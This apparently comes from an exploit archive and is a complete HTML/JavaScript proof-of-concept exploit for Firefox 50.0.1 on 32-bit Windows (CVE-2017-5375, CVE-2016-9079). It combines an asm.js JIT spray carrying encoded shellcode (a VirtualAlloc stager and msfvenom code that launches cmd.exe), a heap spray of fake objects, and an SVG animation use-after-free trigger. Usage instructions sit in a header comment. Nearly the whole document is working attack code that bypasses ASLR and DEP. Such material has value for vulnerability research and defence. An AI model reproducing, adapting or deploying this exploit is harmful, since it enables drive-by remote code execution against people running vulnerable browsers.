Firefox 50.0.1 ASM.JS JIT-Spray Remote Code Execution
Posted on 15 July 2017
<!DOCTYPE HTML> <!-- FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375) PoC Exploit against Firefox 50.0.1 (CVE-2016-9079 - Tor Browser 0day) Tested on: Release 50.0.1 32-bit - Windows 8.1 / Windows 10 https://ftp.mozilla.org/pub/firefox/releases/50.0.1/win32/en-US/Firefox%20Setup%2050.0.1.exe Howto: 1) serve PoC over network and open it in Firefox 50.0.1 32-bit 2) if you don't see cmd.exe, open processexplorer and verify that cmd.exe was spawned by firefox.exe A successfull exploit attempt should pop cmd.exe Writeup: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/ (C) Rh0 Jul. 13, 2017 --> <script async> function asm_js_module(){ "use asm"; /* huge jitted nop sled */ function payload_code(){ var val = 0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; /* 3 byte VirtualAlloc RWX stager */ val = (val + 0xa890db31)|0; val = (val + 0xa89030b3)|0; val = (val + 0xa81b8b64)|0; val = (val + 0xa80c5b8b)|0; val = (val + 0xa81c5b8b)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa8904c4c)|0; val = (val + 0xa8902eb1)|0; val = (val + 0xa85144b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8903233)|0; val = (val + 0xa89045b1)|0; val = (val + 0xa8514cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8904e52)|0; val = (val + 0xa8904bb1)|0; val = (val + 0xa85145b5)|0; val = (val + 0xa8590e6a)|0; val = (val + 0xa84fe789)|0; val = (val + 0xa8086b8b)|0; val = (val + 0xa820738b)|0; val = (val + 0xa8471b8b)|0; val = (val + 0xa82ae349)|0; val = (val + 0xa890c031)|0; val = (val + 0xa890ad66)|0; val = (val + 0xa89c613c)|0; val = (val + 0xa8077c9d)|0; val = (val + 0xa890202c)|0; val = (val + 0xa89c073a)|0; val = (val + 0xa8d7749d)|0; val = (val + 0xa890bdeb)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa890636f)|0; val = (val + 0xa8906cb1)|0; val = (val + 0xa8516cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa890416c)|0; val = (val + 0xa89075b1)|0; val = (val + 0xa85161b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8907472)|0; val = (val + 0xa89056b1)|0; val = (val + 0xa85169b5)|0; val = (val + 0xa890eb89)|0; val = (val + 0xa83cc583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa878c583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa820458b)|0; val = (val + 0xa890d801)|0; val = (val + 0xa890d231)|0; val = (val + 0xa890e789)|0; val = (val + 0xa8590d6a)|0; val = (val + 0xa810348b)|0; val = (val + 0xa890de01)|0; val = (val + 0xa890a6f3)|0; val = (val + 0xa8900de3)|0; val = (val + 0xa804c283)|0; val = (val + 0xa890dbeb)|0; val = (val + 0xa8247d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890ead1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa890d231)|0; val = (val + 0xa8178b66)|0; val = (val + 0xa81c7d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa802e2c1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa8903f8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890406a)|0; val = (val + 0xa890c031)|0; val = (val + 0xa85030b4)|0; val = (val + 0xa85010b4)|0; val = (val + 0xa890006a)|0; val = (val + 0xa890d7ff)|0; val = (val + 0xa890c931)|0; val = (val + 0xa89000b5)|0; val = (val + 0xa890c3b1)|0; val = (val + 0xa890ebd9)|0; val = (val + 0xa82434d9)|0; val = (val + 0xa890e689)|0; val = (val + 0xa80cc683)|0; val = (val + 0xa890368b)|0; val = (val + 0xa85fc683)|0; val = (val + 0xa890c789)|0; val = (val + 0xa81e8b66)|0; val = (val + 0xa81f8966)|0; val = (val + 0xa802c683)|0; val = (val + 0xa802c783)|0; val = (val + 0xa8901e8a)|0; val = (val + 0xa8901f88)|0; val = (val + 0xa803c683)|0; val = (val + 0xa801c783)|0; val = (val + 0xa803e983)|0; val = (val + 0xa89008e3)|0; val = (val + 0xa890cceb)|0; val = (val + 0xa890e0ff)|0; val = (val + 0xa824248d)|0; /* $ msfvenom --payload windows/exec CMD=cmd.exe EXITFUNC=seh */ val = (val + 0xa882e8fc)|0; val = (val + 0xa8000000)|0; val = (val + 0xa8e58960)|0; val = (val + 0xa864c031)|0; val = (val + 0xa830508b)|0; val = (val + 0xa80c528b)|0; val = (val + 0xa814528b)|0; val = (val + 0xa828728b)|0; val = (val + 0xa84ab70f)|0; val = (val + 0xa8ff3126)|0; val = (val + 0xa8613cac)|0; val = (val + 0xa82c027c)|0; val = (val + 0xa8cfc120)|0; val = (val + 0xa8c7010d)|0; val = (val + 0xa852f2e2)|0; val = (val + 0xa8528b57)|0; val = (val + 0xa84a8b10)|0; val = (val + 0xa84c8b3c)|0; val = (val + 0xa8e37811)|0; val = (val + 0xa8d10148)|0; val = (val + 0xa8598b51)|0; val = (val + 0xa8d30120)|0; val = (val + 0xa818498b)|0; val = (val + 0xa8493ae3)|0; val = (val + 0xa88b348b)|0; val = (val + 0xa831d601)|0; val = (val + 0xa8c1acff)|0; val = (val + 0xa8010dcf)|0; val = (val + 0xa8e038c7)|0; val = (val + 0xa803f675)|0; val = (val + 0xa83bf87d)|0; val = (val + 0xa875247d)|0; val = (val + 0xa88b58e4)|0; val = (val + 0xa8012458)|0; val = (val + 0xa88b66d3)|0; val = (val + 0xa88b4b0c)|0; val = (val + 0xa8011c58)|0; val = (val + 0xa8048bd3)|0; val = (val + 0xa8d0018b)|0; val = (val + 0xa8244489)|0; val = (val + 0xa85b5b24)|0; val = (val + 0xa85a5961)|0; val = (val + 0xa8e0ff51)|0; val = (val + 0xa85a5f5f)|0; val = (val + 0xa8eb128b)|0; val = (val + 0xa86a5d8d)|0; val = (val + 0xa8858d01)|0; val = (val + 0xa80000b2)|0; val = (val + 0xa8685000)|0; val = (val + 0xa86f8b31)|0; val = (val + 0xa8d5ff87)|0; val = (val + 0xa80efebb)|0; val = (val + 0xa868ea32)|0; val = (val + 0xa8bd95a6)|0; val = (val + 0xa8d5ff9d)|0; val = (val + 0xa87c063c)|0; val = (val + 0xa8fb800a)|0; val = (val + 0xa80575e0)|0; val = (val + 0xa81347bb)|0; val = (val + 0xa86a6f72)|0; val = (val + 0xa8ff5300)|0; val = (val + 0xa86d63d5)|0; val = (val + 0xa8652e64)|0; val = (val + 0xa8006578)|0; val = (val + 0xa8909090)|0; return val|0; } return payload_code } </script> <script> function spray_asm_js_modules(){ sprayed = [] for (var i=0; i<= 0x1800; i++){ sprayed[i] = asm_js_module() } } /* heap spray inspired by skylined */ function heap_spray_fake_objects(){ var heap = [] var current_address = 0x08000000 var block_size = 0x1000000 while(current_address < object_target_address){ var heap_block = new Uint32Array(block_size/4 - 0x100) for (var offset = 0; offset < block_size; offset += 0x100000){ /* fake object target = ecx + 0x88 and fake vtable*/ heap_block[offset/4 + 0x00/4] = object_target_address /* self + 4 */ heap_block[offset/4 + 0x14/4] = object_target_address /* the path to EIP */ heap_block[offset/4 + 0x18/4] = 4 heap_block[offset/4 + 0xac/4] = 1 /* fake virtual function --> JIT target */ heap_block[offset/4 + 0x138/4] = jit_payload_target } heap.push(heap_block) current_address += block_size } return heap } /* address of fake object */ object_target_address = 0x30300000 /* address of our jitted shellcode */ jit_payload_target = 0x1c1c0054 /* ASM.JS JIT Spray */ spray_asm_js_modules() /* Spray fake objects */ heap = heap_spray_fake_objects() /* -----> */ /* bug trigger ripped from bugzilla report */ var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};'); worker.postMessage("zero"); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x1000); var heap100 = new Array(0x4000); var block80 = new ArrayBuffer(0x80); var block100 = new ArrayBuffer(0x100); var sprayBase = undefined; var arrBase = undefined; var animateX = undefined; var containerA = undefined; var offset = 0x88 // Firefox 50.0.1 var exploit = function(){ var u32 = new Uint32Array(block80) u32[0x4] = arrBase - offset; u32[0xa] = arrBase - offset; u32[0x10] = arrBase - offset; for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } for(i = 0; i < heap80.length/2; i++) { heap80[i] = block80.slice(0) } animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') for(i = heap80.length/2; i < heap80.length; i++) { heap80[i] = block80.slice(0) } for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') containerA.pauseAnimations(); } worker.onmessage = function(e) {arrBase=object_target_address; exploit()} //worker.onmessage = function(e) {arrBase=0x30300000; exploit()} var trigger = function(){ containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idA = "ia"; var idC = "ic"; animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = trigger; setInterval("window.location.reload()", 3000) /* <----- */ </script>